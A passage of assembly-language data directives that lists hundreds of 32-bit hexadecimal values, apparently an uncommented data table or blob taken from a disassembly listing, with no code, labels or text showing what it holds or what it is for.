dd 30752FB1h, 0B7E43886h, 2F597BEEh, 0D6282503h, 5EC3075Ah
dd 6F0567C0h, 0D880EF2Fh, 8FB2525Bh, 6412FD95h, 0E98422E7h
dd 49FADCD1h, 0DC0454BFh, 0CC05128Ch, 2CBE3756h, 2AC655E2h
dd 771FC57Dh, 927EFDD9h, 0FE76C17Bh, 0D55A6AA6h, 0E916A6D2h
dd 37AE0EC9h, 9E02BD4h, 54B08958h, 0E57DAB7h, 44507D80h
dd 5137C5A0h, 0D61F0578h, 0E945566Bh, 28BE743Fh, 71701011h
dd 0D2965797h, 3F947F95h, 0E558C627h, 0B0A79251h, 0F7F847C5h
dd 0B91CE30Bh, 0C0E7025Dh, 407E0BCAh, 346DA78Ch, 0C6530357h
dd 4B5CDAC5h, 2C61D8E1h, 4AE9A806h, 0D356B442h, 335C54ACh
dd 510C26B0h, 0FFBC8925h, 60AF59CDh, 8A79C324h, 720446F4h
dd 42858859h, 0BBACD0FFh, 7E1E22BCh, 0BECB5756h, 0BAF96BB7h
dd 13CD5ECEh, 2B92AF29h, 0A82FDFDBh, 2158C362h, 0E3FC3842h
dd 0D11CEE42h, 58C580A8h, 0F423AC9h, 0C20B8D18h, 1F1BF2B3h
dd 4750301h, 0E4B16384h, 7BF0F545h, 0E9683006h, 3183967Fh
dd 0EFB859C8h, 7FD949F1h, 2086AF21h, 47DEBB00h, 34691726h
dd 0AB728E01h, 3EDD0F51h, 0E909B33Ch, 0B9F74CFBh, 3E2C5BC2h
dd 10E66F84h, 9C0F1288h, 83F062FFh, 5FA51708h, 62356580h
dd 6A16BF3Eh, 8FE6C689h, 3EA3AC4Ah, 0DF4D6936h, 0AE741940h
dd 9918B124h, 0CF5B0902h, 0AFA8FD15h, 13FF2608h, 11396190h
dd 8580041Bh, 4B83E196h
dd 0C377B494h, 852D520Ch, 5470C65h, 1746C53h, 904BF9FBh
dd 0E5E9120Dh, 9D683F80h, 3CBF322Fh, 227C76F6h, 0F4807A60h
dd 0B5E3E073h, 1C65ECFEh, 0F05A35E8h, 0F55D8BB7h, 40483Eh
dd 6E2C032h, 87F280h, 8A59B050h, 0E94A5EC8h, 4844F627h
dd 3D73419Eh, 66B72EF1h, 0D5E55217h, 968ED35Fh, 0EB19C481h
dd 0F1368A7h, 77FFB932h, 0C3A26333h, 0CC56F1DFh, 81EFBD50h
dd 767312C7h, 121EE4h, 47870C74h, 4F4AE95Dh, 8EEBD5D1h
dd 280ADAF0h, 80A6F301h, 62665E08h, 8ACB728Fh, 83093EFAh
dd 0DD430F0Eh, 80F8B62h, 0AFF513A4h, 0B21328B2h, 885FAAEAh
dd 0C4A1A5F8h, 0E68102D7h, 211F44FBh, 3AC068C1h, 698F3727h
dd 4604316Dh, 12F0D7Ch, 12932B54h, 3C0B940Dh, 8F2D986Ch
dd 26BBC74h, 236F2DFh, 0FE57D701h, 95B04472h, 0F3B288EBh
dd 2FC6FD3Ch, 1CE6F8A1h, 4005F801h, 5F1BAD2Ah, 534094E9h
dd 2E7B7FBBh, 2CD4A39h, 4E036B59h, 208E83E3h, 24F98839h
dd 5BC7A0CCh, 8058E5B0h, 271A73CDh, 49F6C6F5h, 1667BEBCh
dd 769148C5h, 6E333721h, 2A54C25Fh, 8C005B4Bh, 53585D16h
dd 51BE56h, 0BB48093Ah, 62C24C6Ah, 471589Fh, 961B7905h
dd 9110FF23h, 445B2707h, 70E91907h, 0DCE26BCAh, 7E9DF71Dh
dd 0CE22F263h, 1590AB4h, 5055E531h, 28E0BDC8h, 25B31A7Bh
dd 0B7BA2DCh, 13C9B08h, 9A50E835h, 4081407Ah, 4AB21F01h
dd 2160681Ch, 28B8DD25h, 0B86BECE9h, 5E5720Ah, 65947292h
dd 7E0105Bh, 0E6D95825h, 44563A62h, 74430376h, 0D88912A2h
dd 9DE2D3E9h, 967BF61Ah, 6EE48337h, 888F547Ah, 65512CEh
dd 4307E04Ch, 682F6BA4h, 0EC584BABh, 0FB2793EAh, 444A6A04h
dd 0D4BA18B8h, 66A42050h, 68E6E1F7h, 96516924h, 6BB1E942h
dd 0BA52D07Eh, 836E2DFAh, 304A3841h, 0E64103EBh, 468F0E85h
dd 0D6FDE90Dh, 5AC4BDBDh, 0CD3CC830h, 0BA47104h, 14ABEFD1h
dd 9C352DA5h, 0DF8CE252h, 0A0C9D9C9h, 0F45DFBF7h, 8A73954Fh
dd 38F7B988h, 466EB12h, 0BF3E225Fh, 2C7CE9CAh, 52E5713Ch
dd 0F88568C1h, 1DCFEE76h, 0D33DE0CBh, 4E870F47h, 0A2C9847Bh
dd 0C98A8585h, 66995DC0h, 0A0CF5EBCh, 64EBC4F7h, 0C8FFC3A0h
dd 0A93E4280h, 0E027A53Eh, 5E895E32h, 99F5FF1h, 70513772h
dd 0CA6853C0h, 0BD98BD66h, 0D6BD94D3h, 225DC93Dh, 0F507017h
dd 73C1F118h, 0E4AD2EE1h, 515DCC93h, 6D6E51BDh, 1B3C2A0Eh
dd 7FCD41EEh, 0A20D4304h, 65C06802h, 2062EC57h, 0E12C74CFh
dd 0A70B7CF0h, 155D2BCh, 6F831ACCh, 468E0F43h, 0FA555F9Ch
dd 14E26FC3h, 0E9CEF4Ah, 601892F1h, 685AD959h, 61AA7182h
dd 0BEA04061h, 6A2F9224h, 0B15B29FBh, 785606D9h, 0EB415FEEh
dd 0E90740EDh, 6D9146EBh, 971BE502h, 0E4B8C144h, 0A880AA55h
dd 0E17E5B4Dh, 0A8528CF0h, 1DF6888Ch, 5642BABFh, 0E34F1659h
dd 0F652254Fh, 0B35D4401h, 52E5854h, 554946CEh, 39F7080h
dd 2C0575CAh, 9FC1A3FEh, 0EC690DE5h, 7FB43FFFh, 0FCEE7F2Ch
dd 0F5C85721h, 1D28924Eh, 0E9BCF178h, 574B73C7h, 0A0FCA01Ch
dd 8ED0CD5Ah, 0F4EBED80h, 1D709C64h, 3656F2D1h, 4095277h
dd 1EF99FFBh, 158CD053h, 9126E2Fh, 65E12CE9h, 663FBF2Bh
dd 0D3F3A85Eh, 812E98F0h, 8C19D1E9h, 5F873A0Bh, 337501C6h
dd 0F209719Ch, 0C7A82E5Eh, 394B0C98h, 2431020h, 423DEC4Fh
dd 65D849E9h, 6E44B5h, 6BBF6018h, 0A92E581h, 0CDB0E3E7h
dd 0FF2C7EC1h, 0D002FB23h, 4061554Bh, 1434FD19h, 920102AAh
dd 3AB11D10h, 0EA3789BFh, 301C5668h, 66DDC187h, 0DE059828h
dd 6C296EC0h, 0C24D52C8h, 0D6340470h, 43C52EC0h, 2FC6E18h
dd 2471264h, 0E9567AB2h, 0C77DDE4Dh, 0C0EA610h, 883D8BAh
dd 21993A17h, 0AD40C042h, 65C05D2Dh, 72D58CFh, 8B64F6D4h
dd 0AA6873D6h, 7F267DB3h, 313785Ah, 5B2CBEBh, 5E802D27h
dd 58FB39E4h, 5B01F25Fh, 0ED437A25h, 0CA68200Ch, 308B2216h
dd 59A00EFh, 0C48C83BBh, 5EC7312Ch, 775D6062h, 532D9BEDh
dd 53E90246h, 0E480036Eh, 0A14F56F3h, 5416A48h, 69CF1CB8h
dd 9F62882h, 0B53E4E5Dh, 3E5BAFF8h, 5E6074E5h, 40883D0Dh
dd 90ED4E96h, 3C34CAD3h, 92F5015Ah, 55A0800h, 70E007Bh
dd 459A2D74h, 0FADF59DEh, 44F90728h, 0FE3BC411h, 0AFC584F7h
dd 734701ADh, 0EC49DC66h, 0C8BDD926h, 0C0E76099h, 6892EE9Bh
dd 44BD48E0h, 5F9198C2h, 0BA509594h, 5E8D34F0h, 424BB46Ch
dd 0EA30C398h, 50050E33h, 0E508C57Eh, 3E82AF7Fh, 0EB69F985h
dd 16A62804h, 5D514704h, 7D0E8BAEh, 688A2427h, 254F75F9h
dd 0CC772AA9h, 565B17BFh, 0E029AAFFh, 0AA2E3C0Dh, 84D4CC45h
dd 131AE4FBh, 5D17099Fh, 692672EDh, 0A5B210BDh, 0D617B748h
dd 3C2F26CDh, 61668707h, 0B256883h, 933860AAh, 60004E75h
dd 9EC33FBDh, 97FD01F5h, 0A425D416h, 72D67C37h, 8B6EB2FDh
dd 8945F502h, 88898068h, 0E431772Ah, 0BE835051h, 0E43D2636h
dd 0EB771271h, 56DEE8BCh, 0C4808493h, 17D51FCBh, 8AC4908Eh
dd 384BCB6Ah, 0DDE25C87h, 62C5D6E7h, 53043E5Bh, 5A572EEFh
dd 38820A95h, 23140BBEh, 17673440h, 80189F53h, 6D56ECB1h
dd 2081D097h, 0C8A827EFh, 0B980071Fh, 0A10E017Ch, 1A200567h
dd 232060F8h, 1689F40h, 4D76291Ch, 0F4EFD15Fh, 9CB7E2CDh
dd 3547B30Eh, 0AF8AEAB6h, 2A44BB5Ah, 0F6A3D0A4h, 0CC39A705h
dd 1A80FB06h, 9E1AFA68h, 7C2F60E9h, 210B612Eh, 0F825E9C1h
dd 84BB0462h, 0D5FF8E29h, 0E592EE84h, 0C279F7F7h, 0E90BB568h
dd 68BAC04Fh, 8E761E4Eh, 0F0BC894Bh, 0EA2D9F5Ah, 0C05AAEh
dd 39B15D45h, 4E52EF81h, 0E9431706h, 1D43D83Dh, 2F4D3BC5h
dd 7E90B77h, 20EAE056h, 0BD24F6D8h, 0C4B9736Bh, 76B221Dh
dd 64D25C98h, 7A1BC9BEh, 0FD055F1Eh, 253564Dh, 72E9C789h
dd 53BFA382h, 0A2AA8519h, 2CE0D2C9h, 0D508A22Ch, 53D4A68h
dd 7E15112Eh, 8847780Bh, 0A4278171h, 96BEC35Fh, 0EB0B9EFCh
dd 4326E71Bh, 0EC065A89h, 0BD2C67A3h, 3D755661h, 28F49E61h
dd 0F1585F46h, 8B12B928h, 7DCDF349h, 0EAA44902h, 0AA20874Ch
dd 67EC569h, 0B706048Dh, 87BB0985h, 55AB32C0h, 3FC2936Ah
dd 127C0B0Ch, 0F852BB94h, 19F795FDh, 72281DF6h, 0F654236Bh
dd 0F3284D04h, 940BBF17h, 9100F59Ah, 4604C0FEh, 0F3EB8013h
dd 660A5DEEh, 0A8A03C8Eh, 0AA25479Dh, 0AE033737h, 6A32FD6Eh
dd 870B5BB9h, 62551B68h, 0B81EF7A2h, 0E90AEF42h, 92B5CA9Dh
dd 0CB1EAB41h, 0DDC12B89h, 0E8AFB365h, 2169ED20h, 4D025198h
dd 0E27F1055h, 6834FE82h, 0B4E260Ch, 2D1C819h, 1389153Ch
dd 4684199Eh, 9324ED0Bh, 0E0C2BA5Dh, 0E94897A7h, 85C08AC4h
dd 0AF1251C7h, 28419801h, 90CEA0Ah, 32A358B0h, 0F2F462Ah
dd 516929FFh, 402F557Ch, 0C45676F0h, 17AD0192h, 0A2BF97BFh
dd 3BDC87DFh, 0B19C5699h, 0F3595402h, 5FCB7E18h, 25EE7889h
dd 8DCDA30h, 6AA55B67h, 0B715A3F1h, 681228BBh, 0F6099F27h
dd 6E66717Ah, 0E6D8B34Eh, 0F84AA4FFh, 9FC670EFh, 6B8C1BE7h
dd 977629F8h, 80BE244h, 94CAD61h, 8558827h, 0EA0E5F18h
dd 286D3F42h, 0F4555CFDh, 6E5DE800h, 7DE5BD47h, 2992C917h
dd 48634AB0h, 57CF7109h, 2D8E422Ah, 31500576h, 9DA2FED2h
dd 0EDD18382h, 1796FF41h, 0A33C0650h, 5E0CC023h, 296EF64Ch
dd 3EC498F9h, 955B5753h
dd 0F3EB8077h, 0FC84B788h, 0D9D94B01h, 0A4DF6C88h, 0A2E3E9BAh
dd 5370DFEDh, 0B2B45012h, 0F61990EEh, 3FEE80DCh, 31C9E930h
dd 44D7BBBh, 0DD095578h, 4D2BC5Bh, 28871EC2h, 1C7300D1h
dd 99A681E2h, 77EA9F0Fh, 14312685h, 0AD2520A5h, 5E9DC9C6h
dd 0AF0FC1B9h, 16AF3CC8h, 9DAF8041h, 819A2D23h, 17A9E950h
dd 5973CF34h, 63817913h, 30C33DB8h, 471939BDh, 2A0C66A1h
dd 9534C5DCh, 80D13EAh, 5B14020Ch, 3BA5D1DFh, 0D94A2A4Dh
dd 50F36600h, 81B91696h, 58758703h, 440C093Eh, 83024756h
dd 594C1114h, 56AE682Fh, 935AC5F0h, 0DCB253FDh, 42B9D269h
dd 605D293Eh, 8086CC65h, 0B00B5052h, 84C8FE49h, 0A7EE88A8h
dd 0F0BD1673h, 49AACAAEh, 45E64FDDh, 0A2348BC4h, 47BDD2F3h
dd 4709EB88h, 0ECBCF59Eh, 408EE925h, 24685972h, 88426EECh
dd 5C1EEB02h, 0E00C43CAh, 0FA37FCBh, 0BB58D829h, 8A7185Ch
dd 0D3C7F63Dh, 3220AB0Ah, 0D093D03h, 83DBF777h, 5F16825Ah
dd 5E797B18h, 3B5300CCh, 0B475E97Fh, 0DAD1B0AAh, 7A825A0Bh
dd 75489DDDh, 0E6B5CE68h, 28F2713h, 978AED14h, 878B095Ch
dd 0B887AAAh, 608C2772h, 91207EFCh, 650FA304h, 2D844178h
dd 0FE885ED0h, 0F028275Bh, 2E9E01DDh, 0C8E4902Ch, 2FE9E804h
dd 7E598007h, 13D4D62h, 2B4F1268h, 7C32BEE6h, 0CDFAEE67h
dd 0E75ECA2Fh, 0FD589308h, 0C4EFB549h, 0C275A960h, 0DBCFB3E9h
dd 0BF57963Eh, 0B5B6D724h, 0E30F347Ch, 27BF80Ah, 62CE10C2h
dd 9CD87FDCh, 625EB00h, 0F7E94DAFh, 9F2EAC53h, 8EC25EEBh
dd 0A125FBDDh, 0A06A9236h, 5A0455A9h, 52D5F75Dh, 0A49FFCE2h
dd 6B54C9E8h, 0ED2DFC83h, 0F0EEB32Eh, 2654DF56h, 2175D601h
dd 0B0462508h, 5EB45A5Ah, 247D5BB8h, 5B18C235h, 0F0E600Bh
dd 0D62F338Ah, 8BD0C7DDh, 0FCED1B74h, 280B4FD3h, 77D7F74Eh
dd 5F249A64h, 0C300336h, 789B9C13h, 0D972D2Ah, 6C9C719Bh
dd 0B2F69A1h, 5ADB615Dh, 9FC7E27Eh, 0C7A632C9h, 9CBC0887h
dd 4E586806h, 0F9CC2915h, 7712BCC4h, 312FA9BEh, 2B311D5Ch
dd 0EFEA5DE2h, 0E97ED97Dh, 329021F2h, 0BF324F0Bh, 2E97049h
dd 774EBB53h, 8DC17CA3h, 5C246ED3h, 15D0CEAh, 950991h
dd 0C6505A4Bh, 7CD67DC4h, 0B3882DDAh, 0A2979846h, 4628476Fh
dd 4B9E79ACh, 0D58C84C5h, 4B308E4Ah, 15FA95D1h, 685A5E00h
dd 18630F27h, 0A91B9914h, 41245E17h, 5EC79087h, 45D2A0CEh
dd 7CA3CC5Fh, 3C05A84h, 9331810Fh, 0B2AA8CFFh, 0D5891CCFh
dd 97D5CE93h, 0F25952FBh, 8EFB85B6h, 1CCA28FAh, 0F9BF769Ah
dd 0F55F46E4h, 684EE913h, 669B890h, 0EDFA9FF9h, 49122D7Ah
dd 0A0C46AA1h, 9AE90703h, 0AB7B1369h, 0CB89E04h, 2F5E4768h
dd 0B6774AA3h, 0D2971C8Ch, 609E552Fh, 9ABB5D4Ah, 3B6809B8h
dd 7130F503h, 64EF7BE9h, 0BF075739h, 25382AA9h, 75AD17C2h
dd 0F325E8E5h, 2683AF82h, 89286A85h, 0AE4192F8h, 95C123Bh
dd 0CEFC067Eh, 0CC345125h, 564F7F22h, 0C3B29877h, 9220F5B7h
dd 0E2885210h, 0A95AC8F6h, 9C4F1141h, 1DECDE43h, 0FD2FE199h
dd 9C888640h, 5B5C244Dh, 63B84684h, 4F09EC90h, 5806FE20h
dd 0FF07805Eh, 0CB682F30h, 98C899C8h, 3CD90880h, 0F6FE805Bh
dd 50D25C52h, 0F9D8F189h, 501ED597h, 0D32797BEh, 278D2482h
dd 0E5D99762h, 0C1D78584h, 5881BA00h, 4A0C56E4h, 2D172DE9h
dd 0A8E0FFEEh, 0C26D2E6h, 0F0A7B52h, 9D248F12h, 7778C1FDh
dd 0E99BC486h, 286CB91Eh, 0A609B5F2h, 59077427h, 0C7D74B63h
dd 0FCE90B93h, 0BC17C1E3h, 0E17195CAh, 352A0B7Dh, 375181C9h
dd 5CA3646h, 2EDF1025h, 49F2D781h, 34B0FE04h, 0BD7A5BCEh
dd 7D608B29h, 0B2457BC9h, 0CAFB18C1h, 0B8C0D5B4h, 0CEB5B4C7h
dd 7B681075h, 0DFE93D51h, 0B855C8B4h, 0F4645BBEh, 201E0564h
dd 0B7C92FFAh, 3986FAAAh, 0DB858106h, 0C32AAC54h, 30CF02A9h
dd 0FDBFF5B1h, 0F496E974h, 4A9D702Fh, 0EA5FC555h, 1721AB39h
dd 18861FE0h, 0F5E0E942h, 0A951F280h, 5DCB8582h, 0C4E2D329h
dd 1A39A2C1h, 13F82E7Fh, 784FC600h, 0B18D0F48h, 4D230797h
dd 0F4A68072h, 74CD812Fh, 600DF939h, 7EB7FCAFh, 2012A888h
dd 0E09DE225h, 2091C56Dh, 8728013Ch, 0D72CCDF5h, 0E66A9D50h
dd 8148D9A5h, 7817302Dh, 4783535h, 0BC2BB07h, 3FF80906h
dd 38F93E01h, 2B7868E4h, 0D3CE8C6Eh, 0E9C782BDh, 81E576A9h
dd 0D451DBC5h, 19A03B34h, 0B5F37802h, 1227D163h, 0A0F3E401h
dd 80DE226Ah, 10B8FE87h, 0C0008D3h, 8BAB961Eh, 5EF12731h
dd 2A01E341h, 68C2F2E2h, 1271365Ch, 1898E941h, 0EE13953Fh
dd 0F8A436C1h, 12D9FD2Fh, 0B54CA8B2h, 13DD74D6h, 0FAE4F4A5h
dd 25E2E317h, 57C953DEh, 0F254EDEBh, 0EA0C52D1h, 0C51FFA49h
dd 0AEDF29FBh, 0D0BB9684h, 68565058h, 11541E05h, 0F4AF5E26h
dd 1070D4Ch, 7AE916CAh, 8BF7929h, 0EE408B2Eh, 0B00A7672h
dd 0C9BB76ACh, 78AA4B7Fh, 0CFB23E1h, 157CC588h, 0A845713h
dd 0CB677D04h, 23167B1Eh, 6482B799h, 5F01DF7Eh, 89DEF758h
dd 9B4E2F6Ch, 8AAE0266h, 31E553FEh, 21E4F5h, 9146FF2h
dd 70890F10h, 0CDD2CE5Eh, 0FFE2DD03h, 5D25A059h, 6F78B2B0h
dd 85A581C6h, 0EAEB0597h, 0AB140148h, 0B4006BE3h, 3070B53Bh
dd 5D25E9E5h, 0D94C7590h, 0DFEF0DD2h, 5F2760C0h, 90D93159h
dd 0E908C73Ch, 2F8F5C30h, 3FCCA14Eh, 1E29E96h, 8A5AE42Dh
dd 840D7D2Eh, 0B8AEAE95h, 9770F616h, 0E9F0A774h, 5DA7B771h
dd 491E1FD1h, 25696A7h, 70788C9Ch, 0BD682F8Ch, 566944E6h
dd 0E7297555h, 0E00E1204h, 30395BC7h, 8F730FEh, 1D885166h
dd 1ED1F6F9h, 16682ACFh, 8FE8602h, 542DB558h, 0FC081386h
dd 1DB7E19Bh, 0EAC19993h, 0E6F553h, 0DCE95605h, 44F5BACDh
dd 3D3C75E1h, 0CACA8813h, 0DBE84FF4h, 0F256662Fh, 0BFB31C3Eh
dd 0E95AF302h, 123C7C79h, 0E31A0945h, 0D7C80256h, 14DE0689h
dd 0C836B71h, 90AF6304h, 7596885h, 6EA0C862h, 0B05001C4h
dd 64096ED4h, 645BA55Fh, 0E1028F09h, 803B512Ch, 15722BE6h
dd 0BC7B931h, 0BC2AF931h, 4BFA4D4h, 9B5D7F3h, 2E87E5Eh
dd 304E7DEDh, 77E7E40Fh, 0ADCDF690h, 3A52534h, 70E92774h
dd 0F80F508Ah, 2091B0D8h, 7695AFC6h, 0BDF03CEFh, 78DC29E2h
dd 678AE9F0h, 7EEE7184h, 898E85A2h, 0CD81E0F5h, 41EEB561h
dd 338796B5h, 0AC44BB08h, 59F078B2h, 73A0B905h, 92000B29h
dd 1BF6411Eh, 23C73981h, 0B1F53D16h, 0D7C56E6Dh, 0A8BFB398h
dd 3897C777h, 10E7C4E9h, 0B0FA6546h, 0F405BDD0h, 311D1A0Ch
dd 0ABD384BEh, 0E9CE8AFCh, 0BBD13349h, 98BF5C16h, 4B398336h
dd 75B14ABBh, 12055220h, 0A3E6EEE9h, 0B850805Fh, 22F1C5Fh
dd 82522D31h, 0F8410621h, 0F48E7A1Ah, 9BC5E7Eh, 9775C41h
dd 0CDFD0090h, 0B557F048h, 0CB0630C0h, 0E9122079h, 75EBBD6Ch
dd 0A0AA1607h, 0C74BFE4Fh, 0AAF24EF4h, 31EA82B2h, 5DF0E97Ah
dd 0AC780DF5h, 78720502h, 885F56A2h, 5E0207B3h, 66605368h
dd 0EAD6D614h, 0F531A349h, 4C4CFF2Ch, 35EF995Bh, 1053FCF3h
dd 4032278Ch, 0C70A48B4h, 177C008h, 370A4B25h, 958B606Eh
dd 52EF91D6h, 5031B3BDh, 0D6BD4A5Dh, 8E512F27h, 0DE983E8Bh
dd 0D1487897h, 200AC697h, 0B90432B2h, 469B2150h, 0BC7F12EAh
dd 810D60CFh, 0F8926F1h, 0CB096D2Dh, 0BEEB0CA4h, 0A8058A4Ah
dd 42E857A5h, 1B10EAEDh
dd 1D054D52h, 0C0079C20h, 83A6DEE6h, 7204465Eh, 491D7D6Ch
dd 73687549h, 195C449Dh, 0CB0A7C89h, 86413D1Bh, 0F0B9B10h
dd 0E1FE2785h, 0E2D95E25h, 3297BB6h, 3FA76345h, 8693DF99h
dd 38C3F13Dh, 7D4787C3h, 0BD92519Fh, 525F175Fh, 121D76A4h
dd 868BB54h, 8B05A2D6h, 0F9A45EDEh, 6B3860FBh, 53A568D1h
dd 996065B6h, 0B25A657Dh, 9752338Dh, 2F1C275h, 0F3AC9AD0h
dd 34447F17h, 0F238B30Fh, 3AA63D21h, 1CC20820h, 5F045320h
dd 0BC6281D9h, 16CE7DE8h, 7B749A3Dh, 594CD97h, 0A70CCEE9h
dd 61BA5FB7h, 1574762Fh, 0A550E0BEh, 580E1C14h, 18C30FD6h
dd 0C12985DFh, 7D08E410h, 4FC5015Ah, 0F3C61CE9h, 0EB5A75DFh
dd 1016C0ACh, 0E9F8C821h, 5AD1D220h, 0AB1CC55Dh, 1F82A195h
dd 3582F524h, 68010282h, 762665B4h, 16CC6D10h, 1602D6F7h
dd 0E27FFEF9h, 0DB4CDF75h, 52B9E29Dh, 3C2C6209h, 1657C284h
dd 8B6997B1h, 46B1C734h, 0E5F16101h, 5E5C02DFh, 0AE066B95h
dd 6658463Ah, 0A57F3C88h, 89CF7EC7h, 0C6D507EDh, 0BCC506ABh
dd 1867A722h, 0A641B209h, 884EFE68h, 7427BF20h, 0D9D57A8Ch
dd 680B3AC7h, 797E5121h, 0DBB46742h, 0C0830AEEh, 5BD308FDh
dd 687EB001h, 8C3E1DEAh, 1640AC15h, 5DF806BDh, 902945D1h
dd 678E86C1h, 42E17E30h, 245E926Eh, 15571EDDh, 0D55A70E9h
dd 95280317h, 2674F109h, 0E378506Dh, 3D066916h, 52F88000h
dd 2DE90B8Ch, 0CF1214E4h, 24304455h, 5A717329h, 89CC717Fh
dd 0DE43E5E9h, 2AA319A9h, 315002E7h, 8C65B65Fh, 5E22E599h
dd 98D28ED0h, 66586FDAh, 1FF37ECEh, 0F62D7A7Fh, 2090F80Bh
dd 5EB5C4FCh, 31F769D9h, 0EA693244h, 0F81DC603h, 88D9962Dh
dd 0DA617EADh, 0B66B6B82h, 184B7A4Ah, 2B944CCh, 20D80287h
dd 0F8F5E9D1h, 0B19C2720h, 0F0D7D6AFh, 0FE015B41h, 80D2F6CAh
dd 916E7FEAh, 2298E86h, 7A3C5D5Fh, 1558DAC8h, 9A1765B9h
dd 0B9C4D7A1h, 0B624CF82h, 7F0D8909h, 5FCBB764h, 0DDEBB954h
dd 43728D40h, 0CD50E216h, 2C3679C4h, 0D9F70B66h, 0D8005D41h
dd 372F84F6h, 59CA2912h, 11E6E4B4h, 4A6AFB43h, 0A95B8DE7h
dd 6E04D66Ch, 0ADF4C2B8h, 11725D0Ch, 0F180C900h, 64B551CCh
dd 4D7CDF0h, 0C5E5F26h, 0EFA7DE0h, 0FB9A69E8h, 0B6E94216h
dd 5560C0E1h, 91583DC8h, 0E5DD941Ah, 0E8A900F7h, 9DD8F706h
dd 0FAA0557Ch, 35131A4Ah, 6880E5F2h, 22C96EF5h, 0A588C8B6h
dd 402412h, 0E1FB5E3Dh, 8FB0FA89h, 0D49F3492h, 6E50D945h
dd 8588BB8Ah, 0E718088h, 0E1C3FAB1h, 0BF9FD094h, 139434AAh
dd 0E0661243h, 0ED4CB699h, 88845ED6h, 0CADFDDA2h, 0C2CC6DC5h
dd 965BC828h, 82A12C09h, 941C25Ch, 0B90C62DEh, 40784358h
dd 0C505FE2Eh, 0A98E8D0Fh, 5D8B0842h, 0F78A0396h, 0B62DBBAh
dd 70BFDF78h, 0F8E5BD09h, 2C607F9Eh, 0FF170Dh, 4B40353Ch
dd 8DFE06EDh, 9385A4BAh, 5202D7A2h, 0CF1890BAh, 25DAFF2Fh
dd 0CC206B00h, 81E3D16Ah, 3037E6F3h, 310C5D40h, 8812D877h
dd 35ADDF01h, 0A8A2BA92h, 6A454492h, 585B00ECh, 9366BC68h
dd 398F05FFh, 77C704B6h, 0C9570F64h, 832D04CFh, 0B59F7388h
dd 0E5808601h, 0F0C5CCC7h, 4C206F92h, 30DDFBCEh, 0BD45F5F4h
dd 886F9822h, 7079E548h, 5A81DC9Dh, 26F1C389h, 0C6D08365h
dd 5E7492BBh, 4E11BDB1h, 0B0E93081h, 65EE1E3Eh, 7B58B17Ch
dd 2AD49FE0h, 9516B3CAh, 52BD6CD0h, 2A53E2Eh, 0F1502A27h
dd 6B099599h, 0E7EEFDFCh, 5C898E2Dh, 2E74A7Ah, 563E0ACDh
dd 6C1B71D7h, 0AC404D34h, 28DCEDF7h, 65DB9763h, 82BD9516h
dd 1955E101h, 61493E0Dh, 5E9F2875h, 0B98574AAh, 0A0EC841Ch
dd 23018B06h, 790FBC80h, 98DA8780h, 0C06E20E1h, 0A0ED685Ah
dd 0EFCA4F7Ah, 29630A40h, 90452206h, 0FAF84E69h, 758B5439h
dd 885F9145h, 0FBC20D04h, 0CB255F09h, 7DC0A84Ah, 9E7FE998h
dd 5B21DE5Dh, 7794AFA8h, 15106900h, 5568527Bh, 72B3224Ah
dd 4A617E05h, 4FC4621Bh, 2179E60h, 0BB99C9C4h, 51EA4D91h
dd 34D7CACCh, 0BF04C2FEh, 0C04A4EF6h, 8E4A626Dh, 0EE550732h
dd 0B749CE4Ch, 0D3BDA5F0h, 29EA00EDh, 0E91A9E3Ch, 0D0B9115Bh
dd 0EAD3D02Dh, 21AAA812h, 787D4Bh, 95551D68h, 0CE0032FBh
dd 0BB03A51Fh, 2E5B00ABh, 0E9FB313Eh, 93973D25h, 0DAE8C149h
dd 0EE7D7C2h, 109E6427h, 4EBA06E9h, 1ED6F8C1h, 0BAC2C99Ah
dd 0CB4215Eh, 43582DBDh, 0DC6FA400h, 53D66807h, 0FD25BBACh
dd 5583115Ah, 2543B0E4h, 257917BBh, 2548E560h, 7D3C9041h
dd 0D8D081DBh, 8803B753h, 66CCCF80h, 0F6FEB052h, 0F0F7F4D6h
dd 27EFFA5Ah, 82D7302Ah, 59837CDFh, 55561E3Ch, 2C01A272h
dd 6F8F0F90h, 91A33FA6h, 0FD543815h, 5029CC03h, 0C4810B4h
dd 9E2A2CBDh, 54AFB7A4h, 0E563722Ch, 0F546CEEAh, 38F7C9F1h
dd 0A168826Fh, 0CF4D5F1Eh, 2CA5B2Dh, 203F2153h, 2DDC0460h
dd 0C6ACD30h, 7CCA0205h, 0A4CE0066h, 506DA054h, 56043DB8h
dd 52E94D84h, 0BA03A6ECh, 8C06801Ah, 72FCBBD2h, 0F205319h
dd 0B7517543h, 0E8B46B4Eh, 0AB5BC9F4h, 0BFEFC176h, 0D9481CA5h
dd 310B35D0h, 0F299A144h, 92D02D1h, 68E9651Bh, 0F39570D0h
dd 0D71B3E3Dh, 0F08346DBh, 3CC937B9h, 8481935Bh, 978C1CF8h
dd 0FD06BEC6h, 0C05F7EF6h, 52856FA2h, 7AB2ABADh, 0B15C4426h
dd 5D476CCh, 0EC5C0AFh, 0ABC70EBh, 0B58CF825h, 0BC3771h
dd 0DA0AE021h, 0B5A83CE9h, 26A4F1D4h, 0B4871817h, 44B93DE2h
dd 25CDA1E7h, 0FB7F8988h, 0C1731724h, 4E706BB1h, 19E91667h
dd 0A85BBC4Ch, 358438E9h, 34579D70h, 9CCC9D6Dh, 0FE5FFE27h
dd 6CE4D058h, 0F4B97795h, 2DFB3C3Bh, 0BD4C705Ch, 4CDAE55Ch
dd 68510916h, 0B4FD6547h, 80F3B544h, 0C21FE90Bh, 6C4E5D54h
dd 0B212124Fh, 9106DA8h, 0B3C75EDBh, 0B3BA2B14h, 555FC993h
dd 0B5940D6Eh, 9F8A8052h, 53A346h, 0FF336D35h, 0D38E0F59h
dd 0D5266AB5h, 5A012DC8h, 8F915486h, 56EB2D88h, 0E6F0145Dh
dd 9D5263C2h, 4B8274ABh, 7200C54h, 0E76B5990h, 0B0325766h
dd 7FCBD474h, 0B2E97510h, 0BA164765h, 0EEB795EEh, 8E390991h
dd 4D760562h, 0AD5FCF43h, 1FAF4B12h, 6E738A80h, 0DDF92A9h
dd 43060376h, 81FAD7DAh, 0D0C2D58h, 0A4C45546h, 68E34004h
dd 0B23A9225h, 0E79A40EDh, 647782C9h, 34662956h, 40B06EB8h
dd 0D494E7EBh, 1936D525h, 0B9515F02h, 61E41CC0h, 173E6849h
dd 0B6B452C8h, 525F04D4h, 8AAC98E9h, 2DA1E64Bh, 0AD8DD634h
dd 0BE92F5D2h, 0D676816h, 5210DFCCh, 0BF7F0865h, 0A4C2AD20h
